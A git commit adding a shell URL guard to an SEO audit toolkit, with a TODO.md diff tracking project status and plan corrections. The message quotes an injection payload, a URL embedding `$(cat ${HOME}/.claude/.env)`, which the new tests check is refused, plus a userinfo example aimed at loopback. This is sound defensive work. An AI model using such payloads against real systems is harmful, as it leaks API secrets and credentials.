feat(lib): H1 — url-guard, shell-injection + local-target refusal before curl

Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is
typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+,
geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the
threat model completely: URLs then come from the TARGET'S OWN SERVER, so a
remote file's bytes reach a shell.

The severe hazard is injection, not SSRF. Those curls quote with ", inside
which $ and backtick still execute, and ~/.claude/.env holds
GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of
`https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The
test suite asserts exactly that payload is refused.

Code, not prose: a markdown instruction does not stop an injection. Mirrors
the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C
locale, POSIX case: newline-proof, locale-independent, no grep pitfall.
Allowlist over denylist per CLAUDE.md.

Covers: shell metacharacters; scheme (http/https only — no file:, gopher:);
literal loopback/private/link-local/metadata/.local; userinfo authority
confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com).

NOT covered, stated in the header rather than left silent: DNS-level SSRF. A
public hostname resolving to a private address passes. Closing it needs
resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU
window. Proportionate to the threat model — this runs on a workstation
auditing the operator's own client sites.

Wired at all three entry points: both agents' STEP 4 domain assignment, and
the W3 sameAs loop (whose URLs come from the audited repo, not the operator).
Refused sameAs rows report as REFUSED rather than vanish — neither dead nor
live, and an unguardable sameAs is itself a finding.

Note: writing the test file tripped the config-protection hook (test suite is
a guarded quality-gate). Used the documented one-shot sentinel with a reason
rather than working around the gate; it was consumed as designed.

Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite
green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the
health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded
against the real zenquality.fr domain (accepted) and the real exfil payload
(refused, exit 2).
This commit is contained in:
Bastien Chanot
2026-07-17 09:25:34 +02:00
parent a6d423b940
commit 7d6aa09faf
5 changed files with 230 additions and 4 deletions
+49 -1
View File
@@ -1,6 +1,54 @@
# TODO
## 2026-07-16 — PLAN seo/geo parity vs claude-seo (not started, awaiting arbitrage)
## 2026-07-17 — STATUS seo/geo parity (branch bugfix/seo-geo-integrity, 10 commits, UNMERGED)
PHASE 1 — integrity: **DONE 7/7**. I3 8b0c98c · I1 57c67f2 · I2 4ea2fb8 ·
I5 64f175f · I4 e70e1d6 · I6 9da1dec · I8 acd452b. Plus 9cd7b51 (A1+A2, two
process anomalies surfaced by dogfooding /harden at zenquality.fr from the
wrong CWD).
PHASE 2 — free wins: W3 fe93b79 · W1 a6d423b · **W2 DEFERRED** (see below).
NEXT: H1 (SSRF/injection guard) → C1 (sitemap crawl). Human merge gate: all
10 commits await review; nothing merged to develop.
### Plan corrections made while executing (the plan was wrong 4×)
- **B3 KILLED** — GSC Links API does not exist. Verified against the API
reference: Search Console v1 exposes exactly Search Analytics, Sitemaps,
Sites, URL Inspection. A subagent hallucinated it; I doubted it in the
plan and the doubt was right. Common Crawl is the ONLY free backlink
source → the 70/100 cap is mandatory, not optional.
- **I1 was an over-correction** — "Off-page has ZERO data" was overstated
(relayed from a subagent, unverified). Brand mentions ARE gathered
(STEP 6). Narrowed the axis definition instead of N/A-ing it; weights
untouched to avoid churning historical scores twice.
- **I6 framing was wrong** — I claimed 3× that the stats "drive axis
weights". They do not; weight tables carry no citations. They drive Tier
recommendations and, worse, land in CLIENT reports via the "Cite sources"
rule. Reality was worse than my false version.
- **W1 was the wrong shape** — plan said "richresults verb"; a new verb
means a 2nd POST to the same endpoint for a payload already received.
Extended inspect() instead.
- **H1 moved up** (was AXE 5) — it is a PREREQUISITE of C1, not a
follow-up. Today only $DOMAIN (user-typed) is interpolated. After C1, N
URLs from a REMOTE sitemap flow into shell commands and fetch targets.
### W2 (Bing) — DEFERRED, blocked on a real-world test
Killed after 4 challenge rounds. User's model: client sites live on CLIENT
Bing accounts, so a per-user API key means one key per client account.
OAuth is the right model but is a swamp:
- Redirect URI rejects ALL local forms (http/https/127.0.0.1 — user tested)
- Refresh tokens are **rotated + single-use**, self-described non-compliant
with OAuth 2.0 → store rewrite on every call, AND our parallel
seo/geo dispatch would race the rotation → invalid_grant, dead token
- Undocumented "anti-forgery token" failure on refresh, unanswered on Q&A
- MS's own advisor recommends falling back to the API key
- Doc contradicts itself on grant_type and the token endpoint; no library
REVIVAL CONDITION: a client already on Bing adds the user as a Read-Only
user → test in ~10 min whether the single API key sees DELEGATED sites
(undocumented, nobody knows). If yes → W2 is cheap and clean (one key,
client-owned verification, revocable, read-only, zero OAuth). If no → dead.
Value forgone meanwhile: Bing/DDG/Ecosia query stats + index status +
first-party backlinks. Real but modest; C1 dwarfs it.
## 2026-07-16 — PLAN seo/geo parity vs claude-seo (superseded by the STATUS above)
Source: audit of github.com/AgriciDaniel/claude-seo (11.5k★, MIT, v2.2.0,
5 mo old, 185/197 commits single author). Verdict: cherry-pick, never install
(install.sh:49 overwrites our skills/seo/; uninstall.sh:45 glob `seo-*.md`